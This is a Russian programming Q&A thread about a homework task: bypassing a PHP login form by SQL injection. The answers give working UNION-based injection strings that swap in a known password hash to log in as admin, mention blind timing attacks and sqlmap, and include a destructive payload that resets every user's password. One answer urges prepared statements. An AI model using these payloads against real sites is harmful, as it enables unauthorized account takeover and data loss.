SQL инъекция формы на сайте

225
11 апреля 2022, 15:00

Всем привет, получил задание написать простую форму регистрации и авторизации на сайте,успешно справился, теперь нужно зайти на сайт зная только логин, но не зная пароля с помощь SQL-инъекции. Как это сделать не могу понять, уже все статьи и туториалы пересмотрел, ищу помощи здесь Вот код, проверяющий правильность введеного логина и пароля

    <?php
    session_start();
    ?>
<!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
        <link rel="stylesheet" href="style1.css">
    </head>
    <body>
    <div class="form-wrap">
        <h2 class="header-title" >Главная страница</h2>
    <form action="index.php" method="post" class="forma">
   <?
    //  вся процедура работает на сессиях. Именно в ней хранятся данные  пользователя, пока он находится на сайте. Очень важно запустить их в  самом начале странички!!!
    if (isset($_POST['login'])) { 
        $login = $_POST['login']; 
        if ($login == '') { 
            unset($login);
        } 
    } //заносим введенный пользователем логин в переменную $login, если он пустой, то уничтожаем переменную
    if (isset($_POST['password'])) { 
        $password=$_POST['password']; 
        if ($password ==''){ 
            unset($password);
        }
     }
    //заносим введенный пользователем пароль в переменную $password, если он пустой, то уничтожаем переменную
    if (empty($login) or empty($password))//если пользователь не ввел логин или пароль, то выдаем ошибку и останавливаем скрипт
    {   
        echo ("Вы ввели не всю информацию, вернитесь назад и заполните все поля!");?>
        <input type="submit" name="close" value="Назад" class="btn">
        <?
        exit ();
    }
    //если логин и пароль введены,то обрабатываем их, чтобы теги и скрипты не работали, мало ли что люди могут ввести
    $login = stripslashes($login);
    $login = htmlspecialchars($login);
    $password = stripslashes($password);
    $password = htmlspecialchars($password);
    //удаляем лишние пробелы
    $login = trim($login);
    $password = trim($password);
    // подключаемся к базе
    include ("bd.php");// файл bd.php должен быть в той же папке, что и все остальные, если это не так, то просто измените путь 
    $privilage = mysqli_query($db, "SELECT privilage FROM user WHERE login='$login'");
    $priv = mysqli_fetch_array($privilage);
    $result = mysqli_query($db, "SELECT * FROM user WHERE login='$login'");
    //извлекаем из базы все данные о пользователе с введенным логином
    $myrow = mysqli_fetch_array($result);
        $password = md5($password ."sdf");
        //если существует, то сверяем пароли
        if ($myrow['password']==$password) {
            //если пароли совпадают, то запускаем пользователю сессию! Можете его поздравить, он вошел!
            $_SESSION['login']=$myrow['login'];
            $_SESSION['id']=$myrow['id'];
           //эти данные очень часто используются, вот их и будет "носить с собой" вошедший пользователь
           if ($priv['privilage'] != NULL){
               ?>
               <div class="login">
               <?
               echo "Вы зашли как <br>";
               echo "администратор ".$_SESSION['login']." ";
               ?>
               </div>
               <? 
           }
            else{
               ?>
               <div class="login">
               <?
               echo "Вы вошли как <br>";
               echo "".$_SESSION['login'].""; 
               ?>
               </div> 
               <?
            }
        }
        else {
            //если пароли не сошлись
            echo ("Извините, введённый вами логин или пароль неверный.");
            ?>
            <input type="submit" name="close" value="Назад" class="btn">
            <?
            exit();
        }
    ?>      
        <input type="submit" name="close" value="Выйти" class="btn">
       </form>
    </div>
    </body>
    </html>
Answer 1

Авторизоваться в вашей форме можно даже не зная логина. Давайте разберёмся по порядку.

Первое, и главное, на что надо обратить внимание - явное наличие sql-inj в вашем коде. У вас есть попытка обезопасить данные попадающие в запрос:

$login = htmlspecialchars($login);

Но, если вы читали документацию, то знаете, что одинарные кавычки в этом случае останутся в своём исходном виде (см. ENT_QUOTES) и это позволит злоумышленнику внедрить свой код в запрос.

Второе, о чём следует сказать - пароль всё равно необходим, т.к. проверка на валидность введённых данных у вас производится не в запросе, а программно ниже:

$password = md5($password ."sdf");
//если существует, то сверяем пароли
if ($myrow['password']==$password) {

Никакая sql-inj напрямую не позволит обойти этот участок кода. Но! Его можно обойти косвенно. И для этого есть два варианта:

  • либо мы получаем пароль из базы и работаем с этим материалом (т.е. нарушаем требование "не знать пароль")

  • либо мы внедряем свой заранее известный пароль в процесс авторизации (мы тоже его знаем изначально, но я не думаю, что это нарушает условия задачи)

Пойдём по второму пути.

Но сначала надо сделать небольшое отступление. Т.к. нам придётся вклиниваться в запрос, а мы не знаем ни названия полей в этой таблице, ни их типов, ни даже их количества, которое скрывается за звёздочкой в селекте..

SELECT * FROM user ..

.. нам так или иначе придётся провести изыскания по этому поводу. Механизмов это сделать - множество. Конкретно в вашем случае можно использовать, например, внедрение утверждений в паре с бенчмарком и делать выводы на основе скорости ответа сервера. Выглядит это примерно так:

.. если(предположение, ничего_не_делаем, спим_10_секунд) ..

В качестве предположений могут быть такие как "вторая буква первого поля таблицы юзеров равна Ы". Теперь, если сервер ответил быстро - мы выяснили букву, иначе перебираем дальше.

Это только один из способов. Их множество. Знать и перебирать их все - тяжко. Но есть готовый продукт - sqlmap. Это утилита, которая сама находит на вашей форме поля, пытается отправить форму на сервер, перебирает известные типы уязвимостей, а затем, эксплуатируя их, может просто скачать хоть всю базу на локальную машину злоумышленника. Дальше ему будет достаточно изучить её и уже на основе этих знаний пытаться проникнуть в систему.

Будем считать, что мы уже сделали всё перечисленное выше и уже знаем как минимум названия всех полей в таблице пользователей и хэш пароля администратора. Тут надо сделать ещё одну оговорку: из вашего вопроса мы уже знаем и хэш-функцию и соль, которая в ней применяется. Ниже я буду продолжать взлом основываясь на этих данных. В реальности же скорее всего придётся подбирать пароль и делать выводы о наличии соли на основе результата. Есть огромная вероятность, что реальный злоумышленник никогда ничего подобрать и не сможет (чёрт возьми, да сделай же соль побольше! и почитай, например, про радужные таблицы).

Пропустим рутину и просто сделаем небольшой прототип для продолжения на нём. Для этого я создал вот такую базу с одной таблицей и одной записью в ней:

create database test;
use test;
create table users(id int, password char(32), login char(10));
insert into users(1, "ae4b57dd10695a75861221d2204dd032", "admin");

Хэш ae4b57dd10695a75861221d2204dd032 получается при пароле 123. Я его получил выполнив md5("123sdf").

Пробовать авторизоваться будем с паролем 456:

md5("456sdf") = 1a1e6f3748226c314baef0532d0f8b1c

Дело за малым - таким образом модифицировать запрос, чтобы вместо оригинального хэша от пароля 123 запрос вернул бы наш хэш от пароля 456. Сделать это не сложно, запрос примитивный:

SELECT *
FROM users
WHERE login=''
union
select 0 as id, '1a1e6f3748226c314baef0532d0f8b1c' as password, 'admin' as login
from dual
where '1'

Внедряемая подстрока между одинарными кавычками - самой первой и самой последней, а именно:

'
union
select 0 as id, '1a1e6f3748226c314baef0532d0f8b1c' as password, 'admin' as login
from dual
where '1

Осталось записать её в одну строку и подставить в качестве логина в вашу форму. Пароль при этом значения не имеет:

' union select 0 as id, '1a1e6f3748226c314baef0532d0f8b1c' as password, 'admin' as login from dual where '1

И, вуаля! Мы авторизовались админом.

Answer 2

Хм, не особо

трудоемко

, но с часок пришлось убить и табличку естессена. Следующее будет работать на ура, не перестарайся, хацкер;)

$login = "-1' UNION SELECT id,login,password,email,wallet,token,status,access FROM users WHERE '1";

Если не имеешь представления об остальных полях в таблице, можно заменить чем угодно (login, password, 3, 4, 5, 6, 7), важно подобрать количество.

    $login = "-1' UNION SELECT id,login,password,email,wallet,token,status,access FROM 
             users WHERE '1";
    $login = htmlspecialchars (stripslashes ($login));
    try {
        $result = $this->model->queryy ("SELECT * FROM users WHERE login = '$login'");
    }
    catch (\PDOException $e) {
        echo $e->getMessage ().'<br>';
    }
    var_dump ($login);
    var_dump ($result);

Такое делать не стоит, но если задание, то можно и пароли потереть, чекай:

$login = "-1'; UPDATE users SET password=0 WHERE '1";
Answer 3

Авторизация с помощью SQL инъекции здесь будет достаточно трудоемкая.
И непонятно, кто будет давать задание на эксплуатацию подобной инъекции тому, кто с трудом может накостылить примитивную "форму регистрации". А, главное, кому нужно её ломать.

В общем, если вопрос на самом деле звучит "Мне тут говорят что будет инъекция, докажите что это не так", то надо резко присмиреть и молча переписать этот ужас с использованием подготовленных выражений и нормального хэширования паролей.

READ ALSO
Убрать запятую в конце генерирущихся элементов

Убрать запятую в конце генерирущихся элементов

Всем приветЕсть php код в котором автоматически генерируются элементы

105
Почему кеш растет бесконечно?

Почему кеш растет бесконечно?

Сегодня заметил, что память на сервере полностью занятаПроверил кеш, его размер составлял 17 Гб и он занял всё свободное место на сервере

200
Что “Undefined offset: 0” и “trying to get property of non-object” уведомления означают?

Что “Undefined offset: 0” и “trying to get property of non-object” уведомления означают?

Ошибки показываются на линиях 45 и 46Данный код пример получения списка сообщений (первых 20) с помощью API vk

92
Как вернуть массив из функции в PHP?

Как вернуть массив из функции в PHP?

Есть функция parseDesc()В результате ее выполнения получается массив $productDesc[]

95